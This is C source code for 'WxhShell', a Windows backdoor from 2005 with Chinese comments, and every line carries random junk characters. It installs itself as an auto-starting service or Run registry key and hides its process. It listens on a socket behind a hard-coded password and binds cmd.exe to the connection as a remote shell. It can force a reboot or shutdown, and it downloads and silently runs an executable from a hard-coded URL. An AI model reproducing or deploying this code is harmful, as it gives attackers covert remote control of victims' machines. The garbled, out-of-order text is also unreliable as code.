  // 关机 ^ZDpG2(zk  
  case 'd': { QlH,-]N$L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <U2Un 0T  
    if(Boot(SHUTDOWN)) HD8*>p.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rj])c^ZA'*  
    else { !mu1e=bY>  
    closesocket(wsh); U#kd cc|  
    ExitThread(0); `5n^DP*X  
    } L s+zJ1  
    break; <pM6fI6BD  
    } 1Se2@WR'  
  // 获取shell (:R5"|]@<x  
  case 's': { PmQeO*f+  
    CmdShell(wsh); 5sSAH  
    closesocket(wsh); O&sUPv  
    ExitThread(0); ^!$=(jh.  
    break; n`! 6EaD  
  } 8 mt#S  
  // 退出 %S^:5#9  
  case 'x': { .g94|P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _#we1m  
    CloseIt(wsh); -s\R2_(  
    break; uQKo2B0  
    } QcX&q%*0  
  // 离开 wbI1~/  
  case 'q': { AmJdZs|/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J+wnrGoK  
    closesocket(wsh); PKd'lo  
    WSACleanup(); X{:3UTBR  
    exit(1); ,; Uf>8~  
    break;  Hs6Kki1  
        } A@-U#UvN  
  } dj}|EW4  
  } Yp\Y]pym  
?1r<`o3l\  
  // 提示信息 eI%k xqc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &q M8)2Y  
} (M{>9rk8  
  } . BX*C  
TaF;P GjVw  
  return;  QB !%  
} <U8w#dc  
2*] [M,L0c  
// shell模块句柄 1$^r@rP  
int CmdShell(SOCKET sock) /FjdcH=  
{ G-,0mo  
STARTUPINFO si; OLV3.~T  
ZeroMemory(&si,sizeof(si)); >CwI(vXn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Eo6qC?5<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $LcMG,8%_  
PROCESS_INFORMATION ProcessInfo; b1G6'~U-  
char cmdline[]="cmd"; '&$zgK9T?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X&Sah}0V&  
  return 0; ;f=.SJF  
} GL,[32~C  
~ _IQ:]k  
// 自身启动模式 /2MZH  
int StartFromService(void) h")7kjM  
{ \7%wJIeyx  
typedef struct HVzkS|^F  
{ P@% L.y B  
  DWORD ExitStatus; jy_4W!4a  
  DWORD PebBaseAddress; C0 /G1\  
  DWORD AffinityMask; ='@ k>Ka+  
  DWORD BasePriority; ^/#8 "  
  ULONG UniqueProcessId; h"'}Z^  
  ULONG InheritedFromUniqueProcessId; )1$H 7|  
}   PROCESS_BASIC_INFORMATION; JIqg[Mao  
G[u{! 2RS  
PROCNTQSIP NtQueryInformationProcess; : %uaaFl  
d[nz0LI|mk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U* uMMb}$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b *3h}n;  
\HQ.Pwr 6  
  HANDLE             hProcess; IRTWmT jT  
  PROCESS_BASIC_INFORMATION pbi; O[z6W.  
}:QoYNq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N vTp1kI]  
  if(NULL == hInst ) return 0; t~BWN  
vsQvJDna~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _>r (T4}]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jhBfy|Ftu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @\M^Zuo  
=k;X}/  
  if (!NtQueryInformationProcess) return 0; OMd:#cWsQ  
u9u'5xAO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ] mK{E~Zll  
  if(!hProcess) return 0; \ Co Z+  
i6y=3k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zU!d(ge.E  
edZBQmx+#  
  CloseHandle(hProcess); }lCQ+s!  
bH:C/P<x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5 +j):_  
if(hProcess==NULL) return 0; &JD^\+7U:  
Qz_4Ms<o  
HMODULE hMod; s OLjT34  
char procName[255]; UIU6rilB  
unsigned long cbNeeded; 7]i6 Gk  
8dJ+Ei~M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GiXs`Yt|  
5@ Hg 4.  
  CloseHandle(hProcess); 9xE_Awlc85  
-KfMK N~  
if(strstr(procName,"services")) return 1; // 以服务启动 Og8%SnEpMI  
H+@?K6{h  
  return 0; // 注册表启动 ~:|V,1  
} |cC&,8O:{  
oa[O~z{~  
// 主模块 K@:Ab'(P^|  
int StartWxhshell(LPSTR lpCmdLine) " BLJh)i  
{ NbCIL8f]  
  SOCKET wsl; P m&^rC;  
BOOL val=TRUE; 5H|7DVG  
  int port=0; 6E(..fo:"  
  struct sockaddr_in door; _c-(T&u<  
I]3!M`IMG  
  if(wscfg.ws_autoins) Install(); 4vkqe6  
 ?sR(  
port=atoi(lpCmdLine); "9N;&^ I  
gA3f@7}d  
if(port<=0) port=wscfg.ws_port; }]<|`FNc  
8Z)wot  
  WSADATA data; ?crK613 t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l-x-  
|CQ0{1R1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]86*k %A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H\a\xCP3  
  door.sin_family = AF_INET; :)kHXOb.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _::ssnG3jT  
  door.sin_port = htons(port); :@@m'zF<;  
$ub0$S/Hu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .CNwuN\  
closesocket(wsl); W1ndb:  
return 1; rj?c   
} }([}A`@  
BWB}bq  
  if(listen(wsl,2) == INVALID_SOCKET) { %c%`< y<~L  
closesocket(wsl); ZCMH?>  
return 1; 8 @RJ>  
} F IB)cpo  
  Wxhshell(wsl); Y]5MM:mI  
  WSACleanup(); `)MKCw$e  
q!~DCv df  
return 0; [$:L| V!{  
8U7d d[  
} Lr= ^0  
,}9 tJY@ E  
// 以NT服务方式启动 9}tl @  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3\C+g{}e  
{ 2 !9Zw$  
DWORD   status = 0; w@n}DCFt  
  DWORD   specificError = 0xfffffff; C}DIm&))  
\+0l#t$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I[w5V;>*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8!@}\6qM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *O\lR-z!k  
  serviceStatus.dwWin32ExitCode     = 0; wm9wnAy  
  serviceStatus.dwServiceSpecificExitCode = 0; ;:>q;%  
  serviceStatus.dwCheckPoint       = 0; <P@O{Xi+K  
  serviceStatus.dwWaitHint       = 0; @P i]kWW})  
2^w{Hcf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .[3C  
  if (hServiceStatusHandle==0) return; Ttp%U8-LJR  
/-WmOn*  
status = GetLastError(); 4gUx#_AaG  
  if (status!=NO_ERROR) "/2kf)l{4  
{ 2iO{*cB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kg,\l9AM  
    serviceStatus.dwCheckPoint       = 0; u,N<U t  
    serviceStatus.dwWaitHint       = 0; ]1W]  
    serviceStatus.dwWin32ExitCode     = status; Xs'qwL~{`  
    serviceStatus.dwServiceSpecificExitCode = specificError; >$)~B 4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =^_a2_BBl  
    return; zE?dQD^OD  
  } 9\=SG"e(  
ELG9ts+5Uj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G%= gCR  
  serviceStatus.dwCheckPoint       = 0; (hIo0 .  
  serviceStatus.dwWaitHint       = 0; 9wO2`e )  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /Nob S'd  
}  C ?'s  
s<aG  
// 处理NT服务事件,比如:启动、停止 cRNVqMpg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PAxR?2m{  
{ 'fk6]&-I  
switch(fdwControl) ?5,I`9  
{ M=SrZ,W  
case SERVICE_CONTROL_STOP: >J_ P[v  
  serviceStatus.dwWin32ExitCode = 0; {))Cb9'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^!n|j]aw  
  serviceStatus.dwCheckPoint   = 0; _={mKKoHs  
  serviceStatus.dwWaitHint     = 0; 3TS:H1n  
  { D,(:))DmR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,ei=w,O  
  } 'T3xZ?*q=  
  return; eV }H  
case SERVICE_CONTROL_PAUSE: 6\-u:dvGI?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dk8@x8  
  break; Kxz|0l  
case SERVICE_CONTROL_CONTINUE: ^=PY6!iW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P:3o}CB1I  
  break; r}:U'zlC{  
case SERVICE_CONTROL_INTERROGATE: -z se+]O`  
  break; UFUEY/q  
}; NLxR6O4}8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "ctZ"*  
} 2$A"{2G  
J |UFuD  
// 标准应用程序主函数 S-</(,E}|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }m7$,'C%P  
{ )ZFc5m^+u  
DnW/q  
// 获取操作系统版本 +Z"[2Dm  
OsIsNt=GetOsVer(); eX!yIqAR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ae"|a_>fMI  
#uICH t3  
  // 从命令行安装 |B64%w>Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); 036QV M$  
bqx2lQf,_  
  // 下载执行文件 HEhBOER?  
if(wscfg.ws_downexe) { )p:+!sX(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S;%k?O 7v  
  WinExec(wscfg.ws_filenam,SW_HIDE); `9P`f4x  
} b@K1;A! S  
}qZ^S9  
if(!OsIsNt) { tAujm*|&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^),t=!;p  
HideProc(); YRd`G3J  
StartWxhshell(lpCmdLine); >RpMw!NT  
} k72NXagh  
else YNKvR  
  if(StartFromService()) y|3("&)"S  
  // 以服务方式启动 *O)i)["  
  StartServiceCtrlDispatcher(DispatchTable); iWW >]3Q  
else /WK1(B:  
  // 普通方式启动 P.1Z@HC  
  StartWxhshell(lpCmdLine); 6VJS l%X  
40dwp*/!  
return 0; ]k+(0qxG  
} c>+68<H  
,pQ[e$u1  
7m?fv Ky  
jtE'T}!d  
=========================================== x{Dw?6TP  
'SrDc'?  
4nh0bIN1  
HYY+Fv5  
Q|2*V1"r<2  
t"e%'dFv  
" U^qS[HM  
Z,M2vRj"qT  
#include <stdio.h> :/t_5QN  
#include <string.h> 4-$kc wA  
#include <windows.h> U:[CcN/~3  
#include <winsock2.h> 9JJ6$cLF  
#include <winsvc.h> s%6L94\t  
#include <urlmon.h> C^,J 6;'  
}ov>b2H#<  
#pragma comment (lib, "Ws2_32.lib") U!JmSP  
#pragma comment (lib, "urlmon.lib") Xf mN/j2  
:lmimAMt  
#define MAX_USER   100 // 最大客户端连接数 Y@T$O<*  
#define BUF_SOCK   200 // sock buffer lZ <D,&  
#define KEY_BUFF   255 // 输入 buffer aOsc_5XDR;  
Rz6kwh=q  
#define REBOOT     0   // 重启 +OtD@lD`!  
#define SHUTDOWN   1   // 关机 3Ljj|5.q  
R"\(a  
#define DEF_PORT   5000 // 监听端口 wnQi5P+  
r/HG{XH`  
#define REG_LEN     16   // 注册表键长度 Z^mQb2e.  
#define SVC_LEN     80   // NT服务名长度 Y/pK  
~SsfkM"  
// 从dll定义API ng6E &<Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nB5^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w=0zVh_`(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P*hYh5a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y|W#VyM-  
,JPDPI/a  
// wxhshell配置信息 ]g,j  
struct WSCFG { -B-HZ_  
  int ws_port;         // 监听端口 1W}k>t8?h'  
  char ws_passstr[REG_LEN]; // 口令 7;?7q  
  int ws_autoins;       // 安装标记, 1=yes 0=no r|/9'{!  
  char ws_regname[REG_LEN]; // 注册表键名 u9]M3>  
  char ws_svcname[REG_LEN]; // 服务名 vVsaGW   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]I;owk,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t_(S e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zu P3/d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .E{FD%U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4FKgp|Y0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JxM32?Rm*w  
`/WOP`'zM  
}; 2+R]q35-  
$:onKxVM  
// default Wxhshell configuration XSx'@ qH  
struct WSCFG wscfg={DEF_PORT, RL/5 o"  
    "xuhuanlingzhe",  x_/H  
    1, 2_Cp}Pj  
    "Wxhshell", Lg2PP#r  
    "Wxhshell", WW7E*kc  
            "WxhShell Service", oB '5':  
    "Wrsky Windows CmdShell Service", th0>u.hJ  
    "Please Input Your Password: ", >km$zfM2-  
  1, ww'B!Ml>F  
  "http://www.wrsky.com/wxhshell.exe", ^nQJo"g\  
  "Wxhshell.exe" d/YQ6oKU  
    }; h_g "F@  
7&L8zl|K  
// 消息定义模块 "ZmxHMf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I^D*) z   
char *msg_ws_prompt="\n\r? for help\n\r#>"; Cwji,*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X [?E{[@Z  
char *msg_ws_ext="\n\rExit."; N;=J)b|9  
char *msg_ws_end="\n\rQuit."; IQmlmu  
char *msg_ws_boot="\n\rReboot..."; 8. %g&% S  
char *msg_ws_poff="\n\rShutdown..."; u(ETc* D]  
char *msg_ws_down="\n\rSave to "; `1FNs?j  
avXBCvP+h  
char *msg_ws_err="\n\rErr!"; I6S>*V  
char *msg_ws_ok="\n\rOK!"; VHL[Y  
q'X#F8v  
char ExeFile[MAX_PATH]; RGY#0.Z}  
int nUser = 0; bPl'?3  
HANDLE handles[MAX_USER]; /u"Iq8QA  
int OsIsNt; Ie8K [ >  
E!,jTaZz  
SERVICE_STATUS       serviceStatus; x"Ij+~i{l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V@1,((,l  
c5[ ~2e  
// 函数声明 R F;u1vEQ8  
int Install(void); Y&i&H=U  
int Uninstall(void); ~4ijiw$  
int DownloadFile(char *sURL, SOCKET wsh); >R\@W(-g`  
int Boot(int flag); +>% AG&Pc  
void HideProc(void); T+!0`~`  
int GetOsVer(void); s>TC~d82  
int Wxhshell(SOCKET wsl); x LK,Je  
void TalkWithClient(void *cs); !__^M3S,k  
int CmdShell(SOCKET sock); mxwG~a'_  
int StartFromService(void);  BfW@f  
int StartWxhshell(LPSTR lpCmdLine); ksYPF&l  
A=*6|1w;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $! g~pV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nyG5sWMpe  
q1/mp){  
// 数据结构和表定义 ;Z,l};b  
SERVICE_TABLE_ENTRY DispatchTable[] = MA7&fNjB  
{ #vPk XcP  
{wscfg.ws_svcname, NTServiceMain}, grJ(z)c  
{NULL, NULL} mVT[:a3  
}; l@@ qpaH  
)LBbA  
// 自我安装 L|A1bxt  
int Install(void) K-@cn*6  
{ /j\.~=,_  
  char svExeFile[MAX_PATH]; ` ^z l =  
  HKEY key; 1flBA,6L  
  strcpy(svExeFile,ExeFile); 6(q8y(.`  
fs#9*<]m  
// 如果是win9x系统,修改注册表设为自启动 U8zs=tA  
if(!OsIsNt) { }</"~Kw!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m`@~ZIa?>B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ',6d0>4 *  
  RegCloseKey(key); xQqZi b5I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G4uOY?0N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 48 mTL+*  
  RegCloseKey(key); `3dGn .M  
  return 0; n."XiXsN  
    } k{^iv:  
  } df$pT?o  
} \T;(k?28HN  
else { :&s8G*  
]TsmWob  
// 如果是NT以上系统,安装为系统服务 2]tW&y_i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NRe=O*O  
if (schSCManager!=0) 36 ]?4, .  
{ z_Pq5  
  SC_HANDLE schService = CreateService qqu ]r  
  ( <mQ9YO#  
  schSCManager, &tlU.Whk+  
  wscfg.ws_svcname, g}I{-  
  wscfg.ws_svcdisp, m khp@^5  
  SERVICE_ALL_ACCESS, ,u.A[{@py  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !\q'{x5C  
  SERVICE_AUTO_START, Acb %)Y  
  SERVICE_ERROR_NORMAL, OX.g~M ig|  
  svExeFile, ?"p.Gy)  
  NULL, 8oJp_sw  
  NULL, biH ZyUJ  
  NULL, BM02k\%  
  NULL, =>xyJ->R  
  NULL d s}E|Q  
  ); HB}iT1.`  
  if (schService!=0) )79F"ltz h  
  { /,ISx }  
  CloseServiceHandle(schService); N9O}6  
  CloseServiceHandle(schSCManager); mFBuKp+0)h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); , .uI>  
  strcat(svExeFile,wscfg.ws_svcname); .gw6W0\F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8oP"?ew#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x\5\KGw16  
  RegCloseKey(key); QV=|' S  
  return 0; <T$rvS  
    } en16hd>^W:  
  } AD"L>7  
  CloseServiceHandle(schSCManager); h{e?Fl  
} twql)lbx  
} qB3=wFI  
@P<Mc )o^  
return 1; K`kWfPwp  
} .wcKG9u  
q>VvXUyK,  
// 自我卸载 3O?[Yhk`.  
int Uninstall(void) 51!#m|  
{ <+ckE 2j  
  HKEY key; 5Ja[p~^L  
G2FD'Sf  
if(!OsIsNt) { 2L7ogyrU/A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -q DL':  
  RegDeleteValue(key,wscfg.ws_regname); W_|7hwr  
  RegCloseKey(key); k FE<M6a9@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o@r~KFIe  
  RegDeleteValue(key,wscfg.ws_regname); u%nhQ%  
  RegCloseKey(key); Xxs0N_va&  
  return 0; qmbhx9V   
  } oMF[<Xf  
} PkDh[i9Z|  
} |`@7G`x  
else { lD?]D&  
UphZRgT!N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ":01M},RA  
if (schSCManager!=0) Y r 1k\q  
{ ?4lEHef  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WVh]<?GWXk  
  if (schService!=0) 7iH%1f  
  { gnZc`)z  
  if(DeleteService(schService)!=0) { #80r?,q  
  CloseServiceHandle(schService); A{\!nq_~N  
  CloseServiceHandle(schSCManager); lBO x B/`  
  return 0; ?xzDz  
  } NE-c[|rq  
  CloseServiceHandle(schService); 42,K8  
  } cu"ge]},  
  CloseServiceHandle(schSCManager); 0|`iop%(n  
} +(##B pC  
} wRQMuFGY  
VJ|8 0?4h  
return 1; 3qwSm <  
} _S6SCSFc  
L7$1rO<  
// 从指定url下载文件 2<^eVpNJR  
int DownloadFile(char *sURL, SOCKET wsh) cK1RmL"3  
{ cAzlkh  
  HRESULT hr; wXUgxa  
char seps[]= "/"; 8fQaMn4V  
char *token; p(S {k]ZL@  
char *file; ci{WyIh  
char myURL[MAX_PATH]; xU$15|ny  
char myFILE[MAX_PATH]; 5s1XO*s)>X  
^%m~VLH  
strcpy(myURL,sURL); jo[U6t+pj7  
  token=strtok(myURL,seps); D P+W* 87J  
  while(token!=NULL) ' 8UhYwyr  
  { to;cF6X  
    file=token; d8/KTl  
  token=strtok(NULL,seps); (KdP^.7  
  } Z}$1~uyw  
^h"F\vIpV  
GetCurrentDirectory(MAX_PATH,myFILE); ]Kp -2KW  
strcat(myFILE, "\\"); 8jfEvwY  
strcat(myFILE, file); "AHuq%j  
  send(wsh,myFILE,strlen(myFILE),0); 'Rw*WK  
send(wsh,"...",3,0); /7yd&6`I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hO4* X  
  if(hr==S_OK) w!m4  
return 0; Xm[Cgt_?  
else &8QkGUbS<  
return 1; NC{8[*Kx5  
$D(q  
} 2"L a}Vx2  
aDjYT/`l  
// 系统电源模块 kaZ_ra;<  
int Boot(int flag) >Mk#19j[/  
{ qc@v"pIz'S  
  HANDLE hToken; bn0Rv  
  TOKEN_PRIVILEGES tkp; aq%i:};  
iGsD!2  
  if(OsIsNt) { h v/+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p$@l,4@{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;&]oV`Ib  
    tkp.PrivilegeCount = 1; z%Ivc*x5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UViWejA/*u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ln&CB!u  
if(flag==REBOOT) { #F6!x3Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =fy'w3m  
  return 0; d/xGo[?$  
} !eGUiE=  
else { Ihg1%.^V\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y_N h5  
  return 0; PW GN UNc  
}  '' Pfs<!  
  } ?/^x)Nm  
  else { C+Pw  
if(flag==REBOOT) { lsRW.h,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S]}W+BF3  
  return 0; 2U`g[1  
} !vH={40]  
else { w.R2' W R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BZAF;j  
  return 0; m15> ^i^W  
} wGAeOD  
} m$bDWxm#e  
) >8k8E  
return 1; ,kw:g&A  
} QVPJ$~x  
'=]|"   
// win9x进程隐藏模块 O*+,KKPt  
void HideProc(void) @RFJe$%  
{ u13v@<HGc  
_$BH.I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E j/P:nB  
  if ( hKernel != NULL ) *K2fp=Ns  
  { Bu,VLIba  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nT xN>?l2E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jK-usn  
    FreeLibrary(hKernel); @sLB _f  
  } <%EjrjdvL+  
C+X- Cp  
return; 6eHw\$/  
} z)XI A)i6  
I<LIw8LI  
// 获取操作系统版本 $%0A#&DVh  
int GetOsVer(void) <+)B8I^  
{ J#*R]LU|  
  OSVERSIONINFO winfo; >J_%'%%f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gjo&~*;  
  GetVersionEx(&winfo); "IKbb7x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C#D8 E.W  
  return 1; anxwK47  
  else Lt\=E8&rh  
  return 0; OZi4S3k  
} K:8. Dvn  
uEcK0>xp  
// 客户端句柄模块 "|W``&pM  
int Wxhshell(SOCKET wsl) i4r8146D[  
{ U A}N  
  SOCKET wsh; |t&gyj  
  struct sockaddr_in client; vFg X]&bE  
  DWORD myID; '"fZGz?  
D}A>`6W<  
  while(nUser<MAX_USER) rwvCp_pN.  
{ >'|Wrz67Z  
  int nSize=sizeof(client); Nkg^;-CV0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #JW~&;  
  if(wsh==INVALID_SOCKET) return 1; (GXFPEH8  
mM)d`br  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YKG}4{T  
if(handles[nUser]==0) [pYjH+<  
  closesocket(wsh); px=r~8M9}  
else %6HJM| {H  
  nUser++; k9 NPC"  
  } g RBbL1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F=r`'\JV[  
zTS#o#`!\  
  return 0; 6`U]%qx_I  
} vD p|9VY?  
/dq(Z"O_  
// 关闭 socket b 3i34,  
void CloseIt(SOCKET wsh) #>\%7b59>  
{ f~Q]"I8w  
closesocket(wsh); Xwt}WSdF`k  
nUser--; 9Jj:d)E>o  
ExitThread(0); i!dQ Sdf  
} d+158qQOh]  
+EE(d/ f  
// 客户端请求句柄 W+D{4:  
void TalkWithClient(void *cs) M5<c HE  
{ .[8g6:>  
u$V8fus0  
  SOCKET wsh=(SOCKET)cs; m vLqccL  
  char pwd[SVC_LEN]; N4[^!}4  
  char cmd[KEY_BUFF]; `}|$eF&  
char chr[1]; `as6IMqJD  
int i,j; Z }s56{!.  
4]mAV\1  
  while (nUser < MAX_USER) { }N%uQP#I  
j]bNOC2.L  
if(wscfg.ws_passstr) { ;Br #e1~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .l}oxWWoS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "E}38  
  //ZeroMemory(pwd,KEY_BUFF); l"app]uVZ  
      i=0; SQJ }$#=  
  while(i<SVC_LEN) { z]bcg$m  
=Xh*w  
  // 设置超时 $61j_;WF`  
  fd_set FdRead; A~%h*nZc%I  
  struct timeval TimeOut; w~l%xiC  
  FD_ZERO(&FdRead); RI#o9d"x}  
  FD_SET(wsh,&FdRead); t 'im\_$F  
  TimeOut.tv_sec=8; d+Au`'{>  
  TimeOut.tv_usec=0; rugR>&mea  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fv T;8ik:3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DZ5QC aA  
v"J7VF2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Iwd-#;$;  
  pwd=chr[0]; i*2l4  
  if(chr[0]==0xd || chr[0]==0xa) { (4oO8 aBB  
  pwd=0; #xBh62yIuP  
  break; ~;P>}|6Y  
  } 8xQjJ  
  i++; K6M_b?XekA  
    } a<d$P*I(cH  
u[~= a 5:4  
  // 如果是非法用户,关闭 socket jpRC6b?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X>kW)c4{b  
} kb2M3%6 V  
?2i\E RG?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j#[%-nOT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z((9vi W  
)h,-zAnZ  
while(1) { j^qI~|#  
".:]? Lvt  
  ZeroMemory(cmd,KEY_BUFF); U Rb  
[&h%T;!Qii  
      // 自动支持客户端 telnet标准   g&`[r6B  
  j=0; AAPfU_: ^  
  while(j<KEY_BUFF) { 2"C,u V@F!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I4%25=0?  
  cmd[j]=chr[0]; ]#t5e>o|  
  if(chr[0]==0xa || chr[0]==0xd) { p4M7BK:nf  
  cmd[j]=0; 0D:eP``  
  break; L qdz qq  
  } WuUT>om H  
  j++; s ad[(|  
    } :Co+haW  
 3JcI}w  
  // 下载文件 $1b x\  
  if(strstr(cmd,"http://")) { ->Bx>Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !p$k<?WXc  
  if(DownloadFile(cmd,wsh)) F|&=\Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (X(c.Jj  
  else <Z^qBM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +U= !svE  
  } ' &j]~m  
